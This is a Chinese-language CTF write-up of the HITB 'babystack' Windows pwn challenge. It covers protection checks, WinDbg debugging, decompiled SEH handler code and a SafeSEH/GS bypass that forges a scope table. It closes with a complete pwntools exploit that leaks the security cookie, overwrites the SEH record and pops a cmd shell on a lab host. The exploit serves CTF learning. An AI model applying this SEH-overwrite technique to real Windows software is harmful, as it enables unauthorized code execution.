WinPwn入门之-HITB-Babystack

0x00 前言

学习Windows Pwn的第二步,感觉不baby啊。

0x01 查看文件

利用checksec脚本查看保护机制

后来发现更好的查看文件保护机制的方法:winchecksec

我们看到DEP开启也就是说数据不可执行,地址随机化开启,GS开启,SEH保护开启

0x02 IDA分析

首先看到主函数里面给了栈地址和程序加载基址,并且还有个栈溢出

在前面的文章中我们知道了,windows下getshell使用命令system("cmd")又找到了后门函数,注意这里在F5下看不到,并且字符串搜索也没有
由于题目开启了GS,那么就不能通过一般的溢出来修改EIP了。 在main函数的一开始就注册了异常处理函数(当一个程序注册了异常处理函数,那么当函数运行时发生异常的时候会由该异常处理函数进行异常捕获和处理)

0x03 调试

搞了好久,最后还是有点问题。静态调试用windbg,可以看到更为详细的异常处理部分。动态调试就IDA attach进程吧。从exp里面起调试器不管是gdb还是windbg都有问题,我服了。windbg挺好用的,有自己的执行命令,查看内存什么的都可以。就是没办法动调,贼烦,害。

最后动调的方式:利用win_server起一个端口,远程exp打过去,再windows10本地起windbg来attach上去调试。

我们利用windbg对babystack进行静态调试,令其读取0x0地址的内容,我调了一下午也没看出异常处理和main函数执行前压栈的那个SEH地址有什么关系。
由于eax我们赋值0,所以在这里找0地址的数据会出现异常

至于后面的就不知道在干什么了,找了大量的exp看,这里也只是提了一下。

就快要放弃的时候,糊里糊涂的解决了这个问题,我们调试的时候断在压SEH函数的地方,找到该值0xaaaa,于是在这里下个断点bp 0xaaaa,再g下去,我们看到通过输入找0地址的命令后,会断在上面那条:
mov ecx dword ptr [eax];处,此时再g下去,我们便可以断在SEH函数位置了

的确是去执行SEH函数了。但是我们通过溢出可以控制这个地址,那么我们能不能直接改为后门函数呢?貌似是不行的: 首先我们成功的看到SEH函数地址改为我们溢出的内容了:
改为0x31313131,那么我们看看继续g下去会不会执行到这个地址。
发现一直卡在这里,我们所指定的0x31313131地址的函数不能运行

0x04 Safe-SEH绕过&源码分析

这是由于Safe-SEH的开启,导致不在__safe_se_handler_table的SEH都不能运行,也就是说无法直接劫持异常捕获函数来getshell(为什么上面的safeSEH是关闭的呢。。。)

_except_handler4_common:


int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

ValidateLocalCookies:

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer){
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

函数大概做了这些事情:
1.利用securityCookies 异或 (sehFrame + 8) 得到scopeTable_1,再得到scopeTable
2.根据栈得到framePointer

调用到了 scope table里面的filterFunc和handlerFunc函数,因为程序有后门函数 , 如果我们想调用这个后门函数,我们需要伪造一个scopetable然后将里面的filterFunc或handlerFunc函数改为后面函数,只要溢出覆盖了以前的scopetable我们就能执行后门函数,这里选择覆盖filterFunc,为什么呢,枪打出头鸟,谁叫它先出来。

**建议为了方便调试,可以将EH4 Stack调转一下,ScopeTable不动,整个图都是上low下high的内存布局。**

为了伪造FilterFunc首先我们要知道__security_cookie的值,他是在程序镜像上的,因为程序已经泄露了main地址,所以我们可以根据该地址直接计算出来,然后我们就能伪造Scope Table的地址了。

但是其还有一个ValidateLocalCookies验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,通常计算可得该值的地址为stack_addr + 0x68,所以在溢出的时候我们只要提前设置好该值就行。

我们可以劫持scopeTable地址,我们可以令scopeTable->GSCookieOffset的值为-2这样就可以绕过部分检查

payload  = "a"*0x10
payload+= p32(0xfffffffe)                        # scopeTable -> GSCookieOffset
payload+= p32(0)                                 # scopeTable -> GSCookieXorOffset
payload+= p32(0xffffffcc)                       # scopeTable -> EHCookieOffset
payload+= p32(0)                                 # scopeTable -> EHCookieXorOffset
payload+= p32(0xfffffffe)                       # scopeTable -> EncloseingLevel
payload+= p32(main_address+733)          # scopeTable -> FilterFunc(backdoor)
payload+= 0x40*"a"                             # stack+0x68
payload+= p32((stack_addr+156)^ security_cookie)  #  GS_Cookie
payload+= 'c' * 32
payload+= p32(next_addr)                     # next,这里的栈地址也就是第四个参数sehFrame的值
payload+= p32(main_address+944)         # except_handler4,这里就是为了令函数正常进入准备的异常捕获函数
payload+= p32((stack_addr+16)^ security_cookie) # scopeTable
payload+= p32(0)
payload+= "b"*16                                # framePointer

调试过程:

之前一直没看懂那个图和调试时候栈的内存布局,这下总算搞懂,将SEH stack旋转180度,整个图呈现上low下high就很容易看懂了。

我们看到这里是进入异常处理函数:except_hander4,在里面又会调用except_handler4_common函数,源码如上图所示。我们注意第四个参数sehFrame(上图有误)是我们可以控制的栈地址,由于再后面: scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));是通过这里来获得,所以我们需要在[rbp+c]+8处的地方伪造一个栈地址作为fake scopeTable,在上面的地方我们又对应的伪造scopeTable中的数据,以绕过检查。
如上面代码所示,这个fake scopoTable的值是需要异或securityCookie来获得的,我提前异或用以还原,所以值很奇怪的。

对于后面的ValidateLocalCookies的检查


我们看到将stack+0x9c作为参数传入,实际上是需要令
*(sehFrame+0x10)[-24]^(sehFrame+0x10)==security_cookie
也就是*(stack+0x68)^stack+0x9c = security_cookie

最后一个问题就是为什么next的值需要stack+0xd4,我看也没有用到啊。找到解释如下:Win10在检查SEH时, 还会检查SEH链, 也就是说, 我们覆盖后的Next需要指向一个正常的SEH, 保证SEH链的正常。好吧,那就这样了吧。

0x05 exp

#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

sh = remote('192.168.241.130', 10009)

def get_value(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)


sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

pause()
security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))

sh.sendline('n')
next_addr = stack_addr + 0xd4
log.success('next_addr: ' + hex(next_addr))

payload  = "a"*0x10
payload+= p32(0xfffffffe)                        # scopeTable -> GSCookieOffset
payload+= p32(0)                                 # scopeTable -> GSCookieXorOffset
payload+= p32(0xffffffcc)                       # scopeTable -> EHCookieOffset
payload+= p32(0)                                 # scopeTable -> EHCookieXorOffset
payload+= p32(0xfffffffe)                       # scopeTable -> EncloseingLevel
payload+= p32(main_address+733)          # scopeTable -> FilterFunc(backdoor)
payload+= 0x40*"a"                             # stack+0x68
payload+= p32((stack_addr+156)^ security_cookie)  #  GS_Cookie
payload+= 'c' * 32
payload+= p32(next_addr)                     # next,这里的栈地址也就是第四个参数sehFrame的值
payload+= p32(main_address+944)         # except_handler4,这里就是为了令函数正常进入准备的异常捕获函数
payload+= p32((stack_addr+16)^ security_cookie) # scopeTable stack+0x98
payload+= p32(0)
payload+= "b"*16                                # framePointer
sh.sendline(payload)


sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

贴一张拿到win10 shell的截图:

# 0x07 参考文章 [Windows Pwn 学习之路](https://www.anquanke.com/post/id/210394#h3-10) [HITB GSEC BABYSTACK — win pwn 初探](http://blog.eonew.cn/archives/1182)

 Previous
2020-GeekPwn-playthenew 2020-GeekPwn-playthenew
1.查看文件 保护全开,同时伴随着沙箱 # 2.IDA分析 同时该二进制文件是没有符号表的,所以也加大了逆向难度。最后一步一步逆后大概就这样的一些关键点: **创建要求0x80~0x200,那么就避免了fastbin和largebin的情
2020-08-06
Next 
Windows-PWN环境搭建&基础知识 Windows-PWN环境搭建&基础知识
0x00 前言随队参加了不少比赛,发现pwn题越来越丰富了,人也越来越自闭了,Windows Pwn好像也越来越多了,这里进行总结供今后参考。 先贴一个winpwn和传统linux下pwn的区别: 0x01 环境搭建成功的在windb
  TOC